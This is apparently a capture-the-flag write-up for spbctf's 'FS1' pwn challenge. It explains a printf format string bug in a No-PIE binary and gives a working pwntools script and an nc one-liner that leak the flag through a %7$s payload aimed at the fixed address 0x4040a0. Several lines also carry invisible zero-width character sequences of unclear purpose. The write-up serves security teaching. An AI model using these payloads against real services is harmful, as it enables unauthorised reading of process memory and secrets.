← Back to Writeups
CUSTOMEasypwn

FS1

XESXOR9/2/20262 min read
#pwn#custom#easy#format_string_leak#no_pie_fixed_global_leak#positional_format_arguments#linux

FS1

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: format_string_leak, no_pie_fixed_global_leak, positional_format_arguments

Summary

Task: No-PIE x86-64 binary reads the flag file into a fixed-address global buffer, then passes attacker input straight to printf (classic format string). Solution: use a positional %N$s format specifier to dereference the known static address 0x4040a0 of the secret buffer and leak the flag.

FS1 — spbctf

Description

Я спрятал секрет, но у тебя есть шанс найти его самостоятельно.

English: "I hid a secret, but you have a chance to find it yourself." A No-PIE x86-64 ELF is provided along with a remote service (nc 109.233.56.90 11657). The challenge name FS1 stands for Format String 1.

Analysis

Disassembly of main reveals a straightforward format string bug:

fopen("flag", "r")
fread(0x4040a0 <secret>, 0x80, 1, fp)   ; flag contents -> global buffer
fclose(fp)
read(0, rsp, 0x200)                     ; attacker input onto the stack
printf(rsp)                             ; <-- format string vulnerability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key facts:

  • No PIE — the global secret buffer sits at the fixed address 0x4040a0, known at build time and identical every run.
  • The flag is read into secret before our input is taken, so it is already in memory when printf runs.
  • printf(rsp) passes our raw input as the format string, giving us arbitrary read primitives via %s/%p.

Confirm protections:

bash
checksec --file=fs1.elf
# No PIE, so global addresses are static.
rabin2 -s fs1.elf | grep secret   # secret @ 0x4040a0

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

To locate where our controlled buffer starts among printf's positional arguments, send a marker plus a chain of %N$p:

AAAAAAAA%1$p.%2$p.%3$p...%14$p

The value 0x4141414141414141 ("AAAAAAAA") appears at position 6, meaning our stack buffer begins at argument index 6.

Solution

Place the 8-byte target address at argument position 7 and dereference it with %7$s. The first 8 bytes of the payload ("%7$saaaa") fill arg6; the packed address 0x4040a0 lands in arg7, which %7$s reads as a C string — the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
import struct

SECRET = 0x4040a0  # address of global `secret` buffer (No PIE, fixed)

# "%7$saaaa" -> 8 bytes fill arg6; padding keeps address 8-byte aligned at arg7
payload = b"%7$saaaa" + struct.pack("<Q", SECRET)

io = remote("109.233.56.90", 11657)
io.send(payload)
print(io.recvall(timeout=3).decode(errors="replace"))
io.close()

Equivalent one-liner:

bash
python3 -c 'import struct,sys; sys.stdout.buffer.write(b"%7$saaaa"+struct.pack("<Q",0x4040a0))' | nc 109.233.56.90 11657

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍